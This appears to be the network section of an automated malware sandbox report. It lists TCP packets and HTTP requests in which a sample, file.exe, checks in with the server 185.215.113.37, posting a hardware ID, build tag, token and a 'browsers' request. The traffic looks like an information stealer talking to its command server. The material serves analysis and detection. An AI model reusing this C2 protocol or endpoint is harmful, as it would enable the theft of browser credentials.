Oct 23, 2024 15:48:22.192662001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.303513050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303545952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303561926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303580999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303602934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303621054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303638935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303653955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303668976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303687096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303709984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303725004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303757906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303775072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303772926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.303774118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.303796053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303812981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303817034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.303817034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.303831100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303847075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303864002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303869963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.303880930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303896904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303903103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.303903103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.303913116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303932905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303946018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.303946972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303966045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303980112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.303991079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.303991079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304007053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304040909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304047108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304047108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304074049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304105997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304126978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304126978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304157972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304177999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304208040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304256916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304286957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304291010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304302931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304344893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304348946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304382086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304397106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304410934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304455996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304455996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304461002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304497957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304529905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304539919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304539919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304563999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304596901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304604053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304604053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304646969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304681063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304686069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304686069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304713964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304747105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304775000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304775000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304781914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304814100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304848909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304852009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304852009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304882050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304903030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304914951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304946899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.304954052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304964066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.304980040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.305008888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.305021048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.305021048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.305042982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.305077076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.305083990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.305083990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.305109978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.305146933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.305146933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.335318089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.342843056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.616915941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.616934061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.616949081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.616982937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617012978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617396116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617412090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617441893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617444038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617474079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617477894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617487907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617495060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617517948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617523909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617532969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617542028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617549896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617566109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617569923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617582083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617593050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617619991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617643118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617659092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617674112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617680073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617690086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617707968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617733002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617749929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617765903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617780924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617788076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617796898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617808104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617813110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617827892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617837906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617852926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617855072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617867947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617882013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617887974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617887974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617902040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617903948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617919922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617923975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617937088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617944956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617953062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617965937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617976904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.617980957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.617996931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618015051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618025064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618040085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618046999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618065119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618086100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618096113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618102074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618117094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618132114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618140936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618155956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618168116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618170977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618186951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618201017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618208885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618216991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618225098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618232012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618249893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618252039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618273020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618278980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618288994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618302107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618303061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618319035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618319035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618335009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618344069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618350983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618360043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618367910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618382931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618383884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618397951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618406057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618422031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618432045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618444920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618454933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618463039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618470907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618478060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618484974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618490934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618499041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618530989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618534088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618546963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618562937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618563890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618587017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618587017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618602037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618604898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618618011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618623018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618633032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618642092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618649960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618658066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618675947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618690968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618864059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618879080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618902922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618907928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618917942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618925095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618933916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618948936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.618948936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618964911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.618971109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.619003057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:24.745799065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:24.745831966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:24.751458883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:24.752202988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:25.539156914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:25.539249897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:25.691431999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:25.696827888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:25.975934029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:25.975970030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:25.976002932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:25.976030111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:25.976057053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:25.990602016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:25.996067047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:26.275471926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:26.275697947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:26.290150881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:26.295506954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:27.071782112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:27.071856976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:27.100055933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:27.105830908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:27.400032997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:27.400072098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:27.400109053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:27.400144100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:27.400151968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:27.400181055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:27.400192022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:27.401027918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:27.428540945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:27.434051991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:28.209121943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:28.209182978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:31.379044056 CEST	49730	80	192.168.2.4	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.37	80	7328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:48:07.501368999 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 23, 2024 15:48:08.404520035 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 15:48:08.407608986 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKK Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 38 41 45 34 45 35 37 34 44 36 43 31 31 38 30 30 38 36 39 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 2d 2d 0d 0a Data Ascii: ------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="hwid"C8AE4E574D6C118008692------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="build"doma------GDBKKFHIEGDHJKECAAKK--
Oct 23, 2024 15:48:08.711138010 CEST	407	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:08 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 57 4a 68 4e 44 51 79 59 7a 4a 6a 4e 6a 45 78 4d 54 45 79 4e 54 4d 7a 5a 6a 46 6b 4d 7a 55 34 4e 6a 55 35 4d 54 4d 77 59 32 59 31 4e 47 4d 32 4d 6a 64 69 4f 44 4d 30 4d 7a 55 78 4f 54 41 34 59 54 5a 69 4f 47 49 31 4e 6a 42 68 4e 44 67 34 5a 54 46 6c 5a 47 4d 30 4f 44 41 30 4d 44 6c 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NWJhNDQyYzJjNjExMTEyNTMzZjFkMzU4NjU5MTMwY2Y1NGM2MjdiODM0MzUxOTA4YTZiOGI1NjBhNDg4ZTFlZGM0ODA0MDljfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 23, 2024 15:48:08.712409973 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCAEGCBFHJDGCBFHDAF Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 61 34 34 32 63 32 63 36 31 31 31 31 32 35 33 33 66 31 64 33 35 38 36 35 39 31 33 30 63 66 35 34 63 36 32 37 62 38 33 34 33 35 31 39 30 38 61 36 62 38 62 35 36 30 61 34 38 38 65 31 65 64 63 34 38 30 34 30 39 63 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 2d 2d 0d 0a Data Ascii: ------FHCAEGCBFHJDGCBFHDAFContent-Disposition: form-data; name="token"5ba442c2c611112533f1d358659130cf54c627b834351908a6b8b560a488e1edc480409c------FHCAEGCBFHJDGCBFHDAFContent-Disposition: form-data; name="message"browsers------FHCAEGCBFHJDGCBFHDAF--
